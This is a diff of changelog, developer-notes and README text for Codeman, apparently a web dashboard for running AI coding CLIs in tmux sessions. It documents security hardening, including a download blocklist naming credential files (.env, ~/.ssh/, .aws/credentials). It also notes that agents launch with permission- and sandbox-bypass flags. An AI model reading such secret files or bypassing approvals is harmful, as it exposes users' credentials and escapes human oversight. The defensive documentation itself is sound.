+  - **Multi-primitive yield for write pacing** (#85): replaces six raw `requestAnimationFrame` callsites in the xterm.js write pipeline with a yielding helper that races `requestAnimationFrame`, `setTimeout(50)`, and a tick Worker. Keeps the terminal responsive when the tab is backgrounded or occluded — Chrome's intensive-throttling no longer stalls long writes.
+  - **WebGL longtask auto-fallback** (#83): a `PerformanceObserver` watches for ≥200ms WebGL frames; three within a 30s window disposes the WebGL addon and falls back to the canvas renderer. Decision is persisted in localStorage for 7 days, and `?webgl=force` clears it.
+  - **Per-client live SSE subscription filter** (#86): each connected client gets a stable UUID and can narrow its terminal stream to one session via `POST /api/events/subscribe` — no EventSource reconnect on tab switches. Cuts SSE bandwidth roughly N× when N sessions are open. Lifecycle/metadata events (`session:*`, `case:*`, `ralph:*`, `hook:*`) now broadcast to every client so sidebars stay in sync.
+  - **Image paste and drag-and-drop into the terminal** (#84): `Ctrl+V` and dropped images upload to `POST /api/sessions/:id/paste-image`, save under `${workingDir}/.claude-images/paste-${ts}.${ext}` and type the path into the terminal. Hard 10MB cap, server-generated filename (no traversal), `.svg` deliberately excluded from the allowlist to avoid a same-origin XSS path through `file-raw`.
+  - **SSE clientId validation**: the per-client identifier introduced in #86 is now constrained to `[A-Za-z0-9_-]{8,64}` at both ingress points. Without this, an authenticated attacker could send another tab's clientId to silently evict it from broadcasts, mutate any clientId's session filter to blackhole the victim's terminal stream, or grow `sseClientsById` unboundedly via long IDs. The subscribe payload is also capped at 64 session entries of ≤128 chars each.
+
+## 0.6.8
+
+### Patch Changes
+
+- Finish the hostname-aware notification plumbing started in 0.6.7 and lock down the recent UI/runtime fixes with regression tests.
+  - Browser Notification API (OS-level desktop pop-ups, layer 3 of the 5-layer notification system) now uses `${originalTitle}: ${title}` instead of the hardcoded `Codeman:` literal — so multi-host users running Codeman on laptop / dev box / NAS see `codeman:<host>: <event>` consistently across tab title, tab-flash, Web Push, and OS notifications.
+  - Inline session rename hardened against three corner cases: IME composition commits (Chinese pinyin Enter no longer ships half-composed text as the session name), mid-rename SSE deletion (orphaned `<input>` no longer 404s on blur), and double-fire on stuck settle-once flag (closure-local `settled` boolean replaces the boolean instance flag).
+  - Test coverage backfilled for two prior shipped fixes:
+    - `<title>codeman:<host></title>` server-side templating (#82): 8 tests covering default `os.hostname()`, `--title-hostname` override, HTML-escape against `<script>`-style breakout, ampersand non-double-encoding, and template-tail byte-identical invariance.
+    - tmux size-query helper (#80): 15 tests covering the browser-resize-between-attaches happy path, the query-then-die race, zero/negative/empty/non-numeric output fallbacks, and argv-form/timeout assertions that lock down the no-shell-interpolation guarantee. Inline 14-line query block extracted into a named `queryTmuxWindowSize()` export in `session.ts` so the test surface is a pure function.
+  - Regression coverage added for `stripInkRedrawBloat` route helper.
+  - CLAUDE.md and README.md updated to document dual-CLI env-prefix discipline (`CLAUDE_CODE_*` vs `OPENCODE_*`), the `xterm-zerolag-input` published-package side-effect of overlay edits, and the unified hostname prefix across tab title / tab-flash / OS notifications.
+
+## 0.6.7
+
+### Patch Changes
+
+- - **fix(client): preserve inline rename input across tab re-renders** (#81) — Right-click → rename on a session tab no longer loses keystrokes when SSE traffic from sibling sessions triggers a tab re-render. Adds an `_inlineRenameActive` guard at the top of `renderSessionTabs()` and `_fullRenameSessionTabs()` so the in-progress input isn't destroyed mid-typing. Also fixes a latent double-fire of `finishRename` (blur + Enter could both invoke it). Drive-by: safer DOM child clearing in place of `innerHTML = ''`.
+  - **feat: hostname-aware window title** (#82) — The browser tab title is now `codeman:<hostname>` instead of the bare `Codeman` literal, so users running Codeman on multiple hosts (laptop, dev box, NAS) can tell at a glance which tab points at which backend. New `--title-hostname <name>` CLI flag overrides the detected `os.hostname()` when it's noisy or you want a cosmetic name. The title is templated into the served HTML on first byte (with narrow HTML escaping), so it's correct from the first paint and works without JavaScript. Title-flash logic now respects the per-host title.
+  - **perf: larger terminal tail on tab switch** — `TERMINAL_TAIL_SIZE` raised from 128KB to 1MB. When switching back to a busy session tab you now get ~8× more scrollback restored immediately.
+  - **fix: preserve response text in Ink redraw stripping** — `stripInkRedrawBloat()` rewritten from a first-VPA approach to cluster-based detection. The previous algorithm assumed all VPA escapes after the first one belonged to a single redraw region and discarded everything in between, which silently lost 100KB+ of legitimate Claude response text once a render had occurred. The new approach groups VPAs into clusters separated by ≥8KB gaps and only collapses clusters spanning ≥32KB, so streamed response content between redraw bursts is preserved.
+  - **docs**: `CLAUDE.md` Additional Commands gains the `--title-hostname` row; `README.md` gets a "Hostname-Aware Window Title" subsection under Multi-Session Dashboard.
+
+## 0.6.6
+
+### Patch Changes
+
+- **Terminal scrollback significantly increased** — both the xterm.js viewport and the tmux backing buffer were bottlenecking how far back you could scroll. Three changes:
+  - `DEFAULT_SCROLLBACK` raised from 20000 → 50000 lines (xterm.js, main terminal). The previous bump from 5000 only helped users with empty localStorage; existing users were stuck on whatever value they first picked up. The loader now treats `DEFAULT_SCROLLBACK` as a floor — if your stored value is below the new minimum, you're raised to it automatically.
+  - Subagent / teammate terminals (`panels-ui.js`) were stuck at 5000; now use the same `DEFAULT_SCROLLBACK` constant (50000).
+  - New tmux sessions now run with `history-limit 50000` (tmux defaults to 2000). This matters for hard-reload / re-attach — without it, only the last ~2000 lines survive the round-trip back into a fresh xterm.
+
+  **Tmux flicker on session re-attach fixed (PR #80 by @aakhter)**: the PTY now queries the existing tmux window size via `tmux display -p` before spawning, instead of hardcoding 120x40. Previously, every re-attach forced tmux to resize down to 120x40, causing a visible flicker and one frame of scrollback loss. The `-x 120 -y 40` flag was also dropped from `tmux new-session` so the initial size matches the first attaching client. Uses `execFileSync` (not shell) for safety and falls back to 120x40 on any error.
+
+  **Docs**: CLAUDE.md now documents two recurring foot-guns — the `xterm-zerolag-input` overlay code is duplicated between `packages/xterm-zerolag-input/src/` and inline inside `src/web/public/app.js`, so any overlay change must touch both; and the COM workflow explicitly includes a post-push `gh run watch` step to confirm CI before considering the release done.
+
+## 0.6.5
+
+### Patch Changes
+
+- **Mobile fix**
+  - Android virtual keyboard: space character was silently dropped on touch devices using GBoard / SwiftKey / similar IMEs. Root cause: the input-event handler in `terminal-ui.js` treated any whitespace-only textarea value as proof that xterm had already processed the input. A lone space (`' '.trim() === ''`) tripped this guard, so the space was consumed but never forwarded. Now skips only when the textarea is truly empty (or whitespace from a non-space key). Reported and diagnosed by @coolk8 in #79.
+
+  **Docs**
+  - `CLAUDE.md`: added Zod `.optional()`-vs-`null` gotcha (recurring trap from 0.6.3 / 0.6.4 incidents) and a more visible warning against running bare `npm test` (kills the host tmux session).
+  - `docs/local-echo-overlay-plan.md`: marked SHIPPED, corrected xterm version reference (v5.3.0 → `@xterm/xterm` ^6.0.0).
+
+## 0.6.4
+
+### Patch Changes
+
+- Fix "Failed to enable respawn: Invalid request body" error when selecting infinity duration (∞) in the respawn modal. Frontend was sending `durationMinutes: null`, which Zod's `.optional()` schema rejected (it accepts `undefined` only). The body now omits the field when no duration is selected.
+
+## 0.6.3
+
+### Patch Changes
+
+- **Fix**
+  - Allowlist `opusContext1mEnabled` in `SettingsUpdateSchema`. Without this entry, the strict schema rejected `PUT /api/settings {"opusContext1mEnabled":...}` with `INVALID_INPUT`, so the toggle's value never persisted across reloads. The frontend was already reading and writing this key (`settings-ui.js:336/1137`, `session-ui.js:340`), so saves were silently failing — users never noticed because the load path falls back to `false` on missing keys, hiding the bug. (#78)
+
+## 0.6.2
+
+### Patch Changes
+
+- **Mobile UX**
+  - Resume Conversation list (welcome page) reworked for narrow screens: 2-line title clamp so more of the first prompt is visible; case-aware subtitle that renders `#caseName` (or `#caseName/sub`) when `workingDir` matches a known case, otherwise falls back to the directory basename; inline `⋯` toggle that expands a detail panel with full prompt, full path, timestamp, size, and short session id; `/Users/<user>/` now collapses to `~/` alongside `/home/<user>/`. (#77)
+  - Response viewer: ASCII diagram wrap toggle, dedicated mobile code-block layout, and chrome-stripping fallback when the model wraps its reply in extra markup. (#75)
+  - Mobile keyboard accessory bar no longer triggers vertical scroll. (#72)
+
+  **Sessions & settings**
+  - New `thinkingEffort` setting on session creation, with `xhigh` option and `/effort max` mobile shortcut. (#73)
+  - `thinkingEffort` is now allowlisted in `SettingsUpdateSchema` so it round-trips through PATCH /api/settings.
+  - `envOverrides` (`CLAUDE_CODE_*` / `OPENCODE_*`) are now passed to Claude via tmux env exports at spawn time instead of being written to `<case>/.claude/settings.local.json`. Eliminates UI/disk drift; the value lives on `Session._envOverrides`, is exported by `tmux-manager.buildEnvExports()`, and is persisted in `SessionState.envOverrides`. (#74)
+
+  **Fixes**
+  - Eye icon (active-session indicator) now follows `/clear` to the new Claude conversation instead of getting stuck on the previous transcript. (#76)
+  - `tmux-manager.reconcileSessions` now uses `|` as the field separator, fixing parsing when session names contain other delimiters. (#71)
+
+  **Docs**
+  - CLAUDE.md: added `npm run knip` to the dead-code sweep table and a `Common Gotchas` entry documenting the `envOverrides` → tmux export flow.
+
+## 0.6.1
+
+### Patch Changes
+
+- Internal cleanup and release hygiene:
+  - **Dead-code sweep via knip**: added `knip.json` for dead-code detection and ran a full sweep — removed unused test files, unused scripts, and narrowed internal module exports to the minimum surface area actually consumed.
+  - **Lockfile drift prevention**: `version-packages` now runs `npm install --package-lock-only` and verifies the lockfile is in sync via `scripts/check-lockfile-sync.mjs`; CI runs the same check on every push/PR so version drift fails the build instead of reaching production. Resolves the `package-lock.json` / `package.json` version mismatch that shipped in 0.6.0.
+  - **Docs tightening**: archived 22 completed plan docs from `docs/`, corrected file/handler counts in `CLAUDE.md`, documented the lockfile step in the COM workflow, and removed footer redundancy.

+The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an *absolute* URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted.

 | Dev with TLS | `npx tsx src/index.ts web --https` |
+| Override window title hostname | `npx tsx src/index.ts web --title-hostname <name>` (default: `os.hostname()` — `codeman:<name>` is used for tab title, title-flash, and OS desktop notification prefix) |
+| Bind a non-loopback host | `npx tsx src/index.ts web --host 0.0.0.0` (or `-H`; env `CODEMAN_HOST`; default `127.0.0.1`). Without `CODEMAN_PASSWORD` it **starts but warns loudly** — see Common Gotchas + `docs/security-architecture.md` |
 | Continuous typecheck | `tsc --noEmit --watch` |
 | Test coverage | `npm run test:coverage` |
+| Dead-code sweep | `npm run knip` (config in `knip.json`) |
+| Rebuild gesture overlay | `npm run build:gesture` (esbuild `packages/gesture-control/src/codeman/entry.ts` → `src/web/public/gesture/gesture-codeman.js`; commit the result) |
+| Gesture playground | `npm run dev` **in** `packages/gesture-control/` (standalone vite demo, fake tabs) |
+| Check public-asset formatting | `npm run check:public-assets` (prettier-checks `src/web/public/**` text assets; `scripts/check-public-assets.mjs`) |
+| Frontend JS syntax check | `npm run check:frontend-syntax` (`scripts/check-frontend-syntax.mjs`; runs in CI) |
+| CI-equivalent test sweep | `npm run test:ci` (full suite minus browser/perf — see Testing) |
 | Production start | `npm run start` |
 | Production logs | `journalctl --user -u codeman-web -f` |
 
-**CI**: `.github/workflows/ci.yml` runs `typecheck`, `lint`, `format:check` on push to master/main and on PRs (Node 22). Tests excluded (they spawn tmux).
+**CI**: `.github/workflows/ci.yml` (push to master/main + PRs, Node 22) runs two jobs: **(1)** `check:lockfile`, `typecheck`, `lint`, `check:frontend-syntax`, `format:check`, then a **server boot smoke test** (`tsx src/index.ts web --port 3151` must answer `/api/status` within 30s); **(2)** the **unit/integration test suite** via `npm run test:ci` (`config/vitest.ci.config.ts` — excludes the browser-driven `test/mobile/**` suite, `perf-*` benchmarks, and 3 Playwright tests). Tests are tmux-safe in CI: `TmuxManager` no-ops all shell commands under `VITEST` (see Testing).
 
 **Code style**: Prettier (`singleQuote: true`, `printWidth: 120`, `trailingComma: "es5"`). ESLint flat config (`config/eslint.config.js`) allows `no-console`, warns on `@typescript-eslint/no-explicit-any`. Ignores: `app.js`, `scripts/**/*.mjs`, `src/web/public/vendor/**`, `scripts/remotion/**`.

+- **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly. Both `aicodeman` and `codeman` bin aliases are installed (`package.json` `bin`)
+- **Global regex `lastIndex`** — Shared `g`-flag patterns in loops must reset `lastIndex = 0` first, or use the `execPattern()` helper in `utils/regex-patterns.ts` (resets automatically)
+- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` env vars** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift
+- **Effort is NOT an env var** — never carry effort as `CLAUDE_CODE_EFFORT_LEVEL`: the env var hard-locks effort and blocks in-session `/effort` switching (incl. ultracode). It flows as the dedicated `effort` payload field → `Session._effort` → `claude --effort <level>` for regular levels incl. `max` (the settings `effortLevel` key is `enum(["low","medium","high","xhigh"]).catch(undefined)` — `max` gets SILENTLY dropped there), or `claude --settings '{"ultracode":true}'` for ultracode (rejected by `--effort`). Both are soft defaults the user can override anytime. Legacy env-var entries are auto-migrated by the Session constructor and unset from tmux sessions in `applyEnvOverrides()`. See `buildEffortCliArgs()` in `session-cli-builder.ts`, tests in `test/effort-injection.test.ts`
+- **Multi-CLI prefix discipline** — Codeman supports Claude Code, OpenCode, and Codex (`claude-cli-resolver.ts` / `opencode-cli-resolver.ts` / `codex-cli-resolver.ts`); env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`) and the allowlist in `schemas.ts` enforces this. When adding settings, decide which CLI(s) it applies to and gate the env export accordingly — don't blindly forward all prefixes. See `docs/opencode-integration.md` for the OpenCode resolver design
+- **Zod `.optional()` rejects `null`** — accepts `undefined` only. When the frontend builds a request body with `JSON.stringify`, an explicit `null` field is preserved on the wire and fails validation with `INVALID_INPUT`. Convert `null` → `undefined` before stringifying (e.g. `field: value ?? undefined`), or declare the schema `.nullish()`. Real bugs caused: 0.6.4 (`durationMinutes` for ∞ respawn), and the same shape pattern hit `opusContext1mEnabled` in 0.6.3
+- **`xterm-zerolag-input` is single-source — edit the package, then rebuild the bundle** — the local-echo overlay source lives ONLY in `packages/xterm-zerolag-input/src/` (`zerolag-input-addon.ts`; also published to npm as a standalone library — see README "Published Packages"). It is bundled (esbuild → IIFE, with appended `window.LocalEchoOverlay` aliases) into the **gitignored** `src/web/public/vendor/xterm-zerolag-input.js` by `scripts/postinstall.js` (for dev/`tsx`) and into `dist/.../vendor/` by `scripts/build.mjs:50` (for prod). `app.js` only **consumes** it via `new LocalEchoOverlay(terminal)` — there is NO inline copy to keep in sync. So: change behavior in the package source, then re-run the bundle step (`npm install` reruns postinstall; `npm run build` for prod); **never hand-edit `app.js` for overlay behavior or commit the gitignored vendor bundle**. A public-API break in the package still warrants a separate `xterm-zerolag-input` version bump in the changeset. Always test on mobile after touching it. See `docs/local-echo-overlay-plan.md`.
+- **Default bind is loopback-only; non-loopback without a password starts but warns** — since COD-29 (PR #107) the web server defaults to `--host 127.0.0.1` (was `0.0.0.0`). As of **0.9.0** binding a non-loopback host (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **no longer refuses to start — it starts and prints a loud warning** listing the fixes (set `CODEMAN_PASSWORD`, bind loopback + tunnel/`tailscale serve`, or `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` to acknowledge → terser note). Host classification is `isLoopbackBindHost()` in `network-auth-policy.ts`; the warn-vs-start logic is in `server.ts` `start()`; flags wired in `cli.ts`. ⚠️ Operational note: the production systemd unit runs `node dist/index.js web --https` with no `--host`, so it binds **localhost only** — reach it remotely via `tailscale serve`/tunnel to `127.0.0.1`, or add `Environment=CODEMAN_HOST=0.0.0.0` + `Environment=CODEMAN_PASSWORD=…` to `~/.config/systemd/user/codeman-web.service`. A loopback bind is reachable through a same-host tunnel (cloudflared/tailscale → `127.0.0.1`) but NOT by a browser hitting the box's LAN IP. Auth user defaults to `admin`. **Full model: `docs/security-architecture.md`.**
+- **Instance isolation / multi-instance attach danger** — data dir (`~/.codeman`) and tmux socket (`tmux -L codeman`) are PROCESS-WIDE and shared by every Codeman on the machine, derived from `CODEMAN_INSTANCE` via `src/config/instance.ts` (`getDataDir()`/`dataPath()`/`DEFAULT_TMUX_SOCKET`). ⚠️ A 2nd instance on the SAME socket **discovers and attaches PTYs to the first instance's live sessions** (`tmux -L codeman attach-session …`), resizing/mutating them — `$HOME` isolation is NOT enough (tmux is system-global). To run two instances, give each a distinct `CODEMAN_INSTANCE` (scopes BOTH dir+socket: `~/.codeman-<name>` + `-L codeman-<name>`), or set `CODEMAN_TMUX_SOCKET` + `CODEMAN_DATA_DIR` individually. **`CODEMAN_INSTANCE` defaults to empty = the production layout (`~/.codeman`, `-L codeman`, port 3000)**, so this branch is safe to ship to master without disturbing existing installs. To run THIS beta alongside prod, launch with `scripts/run-beta.sh` (`CODEMAN_INSTANCE=beta` + `CODEMAN_PORT=5000`) — it never collides with prod's data dir/socket/port. Any new `~/.codeman/...` path MUST go through `dataPath()`, never `join(homedir(), '.codeman', …)`.

 **Idle detection**: Multi-layer (completion message → AI check → output silence → token stability). See `docs/respawn-state-machine.md`.

+**Orchestrator**: State machine that turns a user goal into a phased plan and drives it to completion: `idle → planning → approval → executing → verifying → (replanning) → completed/failed`. `OrchestratorLoop` (engine) delegates plan generation to `orchestrator-planner` and per-phase verification gates to `orchestrator-verifier`, executing phases via team agents/`task-queue`. State persists under the `orchestrator` key in `state.json`. Distinct from Ralph (single-session autonomous loop) — orchestrator coordinates multi-phase, multi-agent execution. See `docs/orchestrator-loop-architecture.md`.

+**External CLI modes (OpenCode, Codex)**: `isExternalCliMode()` in `session.ts` gates Claude-specific behavior — Ralph tracker, BashToolParser, token/CLI-info parsing, and ❯-prompt readiness detection are all skipped (these CLIs render their own TUIs; readiness = output stabilization instead). Both modes **require tmux — no direct PTY fallback** — because secrets are injected via `tmux setenv`, never on the spawn command line: OpenCode gets `OPENCODE_CONFIG_CONTENT` etc., Codex gets `OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` (`setCodexEnvVars` in `tmux-manager.ts`). Codex specifics: command built by `buildCodexCommand()` (`--model`, `resume <id>`, `--dangerously-bypass-approvals-and-sandbox` from the `codexConfig` payload / `codexDangerouslyBypassApprovals` app setting; `renderMode` is schema-coerced to `'hybrid'`, the only supported mode); tmux exports `COLORTERM=truecolor` + unsets `NO_COLOR` (other modes unset `COLORTERM`); availability via `GET /api/codex/status` — session/quick-start routes fail with `OPERATION_FAILED` and an install hint (`npm install -g @openai/codex`) when the binary is missing. Frontend: run-mode dropdown → `runCodex()` in `session-ui.js` ("Run CX" label), App Settings → Codex CLI tab; Respawn/Ralph options are Claude-only, so session options open on the Summary tab for external CLI sessions. Tests: `test/run-mode-ui.test.ts` (vm-sandbox harness, no real DOM).
+
+**Hook events**: Claude Code hooks trigger via `/api/hook-event`. Key events: `permission_prompt`, `elicitation_dialog`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`. See `src/hooks-config.ts`; upstream hook semantics mirrored in `docs/claude-code-hooks-reference.md`.
 
 **Agent Teams**: `TeamWatcher` polls `~/.claude/teams/`, matches to sessions via `leadSessionId`. Teammates are in-process threads appearing as subagents. Enable: `CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS=1`. See `docs/agent-teams/`.
 
 **Circuit breaker**: Prevents respawn thrashing. States: `CLOSED` → `HALF_OPEN` → `OPEN`. Reset: `/api/sessions/:id/ralph-circuit-breaker/reset`.
 
+**Self-update** (App Settings → Updates): in-app updater for **git-clone installs** supervised by systemd/launchd. Supervisors: `systemd` (user unit), `launchd` (GUI LaunchAgent, gui-domain kickstart), `launchd-daemon` (KeepAlive system LaunchDaemon on headless Macs — restarts rootlessly by killing the server PID and letting launchd respawn it; detected only when the daemon is bootstrapped AND KeepAlive), else `none` → "restart manually" message; on next boot a manual-restart status auto-completes when the running version matches the target. The update restarts the very process running it, so the real work runs in a DETACHED `scripts/self-update.sh` (`git checkout <release tag> && npm install && npm run build && restart`) that outlives the restart; it writes progress to `dataPath('update-status.json')`, which the browser polls across the connection drop. Channel = latest `codeman@X.Y.Z` release tag; dirty trees are auto-stashed. `src/web/self-update.ts` splits PURE helpers (semver/tag parsing, reconcile decision — unit-tested) from IO wrappers (`getInstallInfo`/`checkForUpdate`/`startUpdate`/`reconcileUpdateOnBoot`). Routes: `GET /api/system/update/check`, `POST /api/system/update`, `GET /api/system/update/status`. Types: `src/types/update.ts`. npm installs report as non-updatable.

 **Port interfaces**: Routes declare dependencies via port interfaces (`src/web/ports/`). Routes use intersection types (e.g., `SessionPort & EventPort`).

The button carries a `btn-multimonitor--hidden` class in the template; `renderIndexHtml` strips that class at render when the setting is on (a unique class token, not a brittle match on the aria-label/style copy), and `applyHeaderVisibilitySettings()` toggles the same class live on save. Solo (detached) windows hide it via `body.solo-mode`.
+
+**Response-viewer (eye) button** (header) is likewise **hidden by default** — enable under App Settings → Display → **Response Viewer** (`showResponseViewer`). Purely client-side (no `renderIndexHtml` step): the template ships with `btn-response-viewer-header--hidden` and `applyHeaderVisibilitySettings()` (settings-ui.js) toggles it after settings load. Hiding must go through that marker class — the base rule is `display:inline-flex !important`, so an inline style can't override it. `showResponseViewer` is in the `displayKeys` per-device set (settings-ui.js), so it does NOT sync across devices.
+
+**Gesture control** (the camera hand-tracking overlay) is **opt-in, default OFF**, under App Settings → Display → **Input** (`gestureControlEnabled`). `CODEMAN_GESTURE=1` makes the feature *available* on the instance (CSP widening + `/gesture/` assets) and sets `window.__codemanGestureAvailable` (the Input section only shows when set); the overlay bundle is injected by `renderIndexHtml` **only when the setting is enabled**, so that method is `async` and reads `settings.json` via `readSettings(true)` — the `true` forces a **fresh** read (bypassing the 2s `_settingsCache`), because a post-save reload happens within that TTL and the cached value would otherwise render the pre-toggle state. Toggling the setting reloads the page (the bundle is render-injected).
+
+**Gesture-control source lives in-repo** at `packages/gesture-control/` (workspace package `codeman-gesture-control`, was the standalone `Ark0N/codeman-gesture-control` repo). The transport-agnostic core is `src/gesture/*` (MediaPipe GestureRecognizer → One-Euro-filtered cursor → pinch state machine); `src/codeman/entry.ts` is the Codeman *consumer* that maps grab/drag/drop onto real `.session-tab`/toolbar buttons and is the bundle entry. **Edit there, then run `npm run build:gesture`** (`scripts/build-gesture-bundle.mjs` → esbuild bundles `entry.ts`, MediaPipe JS included, into `src/web/public/gesture/gesture-codeman.js`) and **commit the regenerated bundle** — the committed bundle is what dev/`tsx` serves (no bundler at runtime), and `scripts/build.mjs` reruns the same step so prod always reflects current source. The MediaPipe **wasm + model** are NOT bundled — loaded at runtime from same-origin `/gesture/wasm` + `/gesture/gesture_recognizer.task`, fetched by `scripts/fetch-gesture-assets.mjs` (gitignored, see Gotchas). `entry.ts` mounts `window.__codemanGesture = new GestureBridge()` idempotently at module-eval. A standalone vite playground (`npm run dev` in the package — fake tabs, no Codeman) lets you iterate on gesture *feel* in isolation. ⚠️ Keep `MP_VERSION` in `fetch-gesture-assets.mjs` in sync with `@mediapipe/tasks-vision` in `packages/gesture-control/package.json`.

+
 | Layer | Details |
 |-------|---------|
-| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD` env vars |
+| **Auth** | Optional HTTP Basic via `CODEMAN_USERNAME` (defaults to `admin`) / `CODEMAN_PASSWORD` env vars. Active only when `CODEMAN_PASSWORD` is set (`middleware/auth.ts`) |
+| **Network bind** | Defaults to `127.0.0.1` (loopback). A non-loopback bind (`--host`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` **starts but warns loudly** (0.9.0; was fail-closed in COD-29/#107). `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges the warning. Classifier: `network-auth-policy.ts` |
+| **Host guard** | Always-on Host-header allowlist blocks DNS rebinding (RCE on the default no-auth loopback install). Allows loopback, any IP literal, the bind host, `*.ts.net`/`*.trycloudflare.com`/`*.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS`. ⚠️ **Custom reverse-proxy domains are rejected** unless added via `CODEMAN_ALLOWED_HOSTS=host,.suffix`. `registerHostGuard` in `server.ts`; policy in `network-auth-policy.ts` (`buildHostPolicy`/`isAllowedRequestHost`/`isAllowedRequestOrigin`) |
+| **CSRF / Origin** | Always-on cross-site Origin guard rejects state-changing requests from foreign origins (covers self-update, session create/input, settings/tunnel toggles). **A missing Origin is allowed** so curl/CLI and Claude Code hooks keep working. The global body parser keeps `text/plain` RAW (no auto-JSON-parse, which had enabled simple-request CSRF); `/api/crash-diag` self-parses. WebSocket upgrade validates Origin+Host (anti-CSWSH) in `ws-routes.ts`. Added in `c669518` (closes 2026-06-09 review CRITICALs) |
 | **QR Auth** | Single-use 6-char tokens (60s TTL) for tunnel login. See `docs/qr-auth-plan.md` |
 | **Sessions** | 24h cookie (`codeman_session`), auto-extend, device context audit |
 | **Rate limit** | 10 failed auth/IP → 429 (15min decay). QR has separate limiter |
 | **Hook bypass** | `/api/hook-event` exempt from auth (localhost-only, schema-validated) |
-| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks) |
-| **Validation** | Zod schemas, path allowlist regex, `CLAUDE_CODE_*` env prefix allowlist |
+| **Env vars** | `CODEMAN_MUX` (managed session), `CODEMAN_API_URL` (auto-set for hooks), `CODEMAN_ALLOWED_HOSTS` (extra Host/Origin allowlist entries for reverse proxies, comma-separated; bare `.suffix` matches subdomains) |
+| **Validation** | Zod schemas, path allowlist regex, env prefix allowlist (`CLAUDE_CODE_*`/`OPENCODE_*`/`CODEX_*`) |
 | **Headers** | CORS localhost-only, CSP, X-Frame-Options, HSTS if HTTPS |

+## Orchestrator Loop

+Beyond single-session respawn, the **Orchestrator** turns a high-level goal into a phased plan and drives it to completion across multiple agents — a state machine that runs `idle → planning → approval → executing → verifying → (replanning) → completed`.
+
+- **Plan, then execute** — generates a phased plan from your goal and pauses for approval before touching anything; reject with feedback to regenerate
+- **Per-phase verification gates** — each phase is verified before the next begins; on failure the orchestrator replans instead of barreling ahead
+- **Multi-agent execution** — fans phases out to team agents / a task queue, coordinating work too big for one session
+- **Crash-safe** — full state persists under the `orchestrator` key in `state.json`, so it survives restarts
+- **Driven from the UI or API** — the Orchestrator panel, or `POST /api/orchestrator/start` → `/approve` → `/status` (10 endpoints)

+## Security
+
+Codeman launches sessions with `--dangerously-skip-permissions`, so the web UI is by design a remote-code-execution surface for whoever can reach it — the whole security model exists to control *who* that is. Recent hardening (v0.9.0 + v0.9.5) closes the browser-driven attack paths that bite self-hosted dev tools. Full model: [`docs/security-architecture.md`](docs/security-architecture.md). **Found a vulnerability?** See [`SECURITY.md`](SECURITY.md) for private disclosure and the list of known limitations.
+
+### Network & access
+
+- **Loopback by default** — binds `127.0.0.1`, reachable only from the same machine, so the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with three concrete fixes (set a password, loopback + an authenticated tunnel, or explicitly acknowledge with `--allow-unauthenticated-network`)
+- **Optional auth, real sessions** — HTTP Basic via `CODEMAN_USERNAME` (default `admin`) / `CODEMAN_PASSWORD`. Success issues an opaque 256-bit `codeman_session` cookie (`randomBytes(32)`) — validated server-side, not client-signed, so it can't be forged offline (24h TTL, auto-extend, device-context audit log)
+- **Per-IP rate limiting** — 10 failed attempts → `429` with `Retry-After` (15-min decay). A valid cookie or correct password recovers *immediately* even while an attacker hammers the same IP — important because all tunnel traffic shares one loopback IP. QR auth has its own separate limiter
+
+### Always-on browser hardening (v0.9.5)
+
+These run for **every** request — before auth, even on the default no-password loopback install:
+
+- **Host-header allowlist → blocks DNS rebinding.** A custom domain rebound to `127.0.0.1` is rejected with `403 host not allowed` before any handler runs. Allowed: `localhost`, any IP literal, the bind host, `.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`, the active managed tunnel, and `CODEMAN_ALLOWED_HOSTS` (add custom reverse-proxy domains here — comma-separated; exact host or leading-dot `.suffix` for subdomains)
+- **Cross-site Origin / CSRF guard.** On state-changing methods (`POST`/`PUT`/`PATCH`/`DELETE`) the `Origin` must pass the same allowlist, else `403 cross-site request blocked`. A *missing* Origin is allowed (so `curl`, the CLI, and Claude Code hooks keep working); only a present-but-foreign or opaque `null` origin is rejected
+- **Raw `text/plain` bodies.** The global parser no longer JSON-parses `text/plain`, closing the CORS "simple request" CSRF vector where a cross-site `fetch` could smuggle JSON into a write route with no preflight
+- **WebSocket origin validation.** The terminal WS upgrade runs the same Host + Origin check and closes with code `4003` on failure (anti-CSWSH)
+- **XSS-escaped agent output.** AI-derived strings (tool names, command arguments, subagent descriptions) are HTML-escaped at every injection site before rendering in the subagent / activity panels

+- **Schema-validated inputs** — every API body is checked with Zod v4 schemas; a `CLAUDE_CODE_*` / `OPENCODE_*` env-prefix allowlist gates which settings each CLI can receive
+- **Path containment** — file routes `realpath` before boundary checks (no TOCTOU); `..`, absolute paths, and symlinks resolving outside the working dir are rejected. Caps: 10 MB text preview / 50 MB raw & download; `/api/download` blocklists sensitive paths (`.env`, `*credentials*`, `~/.ssh/`, `.aws/credentials`). SVG/HTML is served `octet-stream` + `nosniff` + attachment so it downloads rather than executes
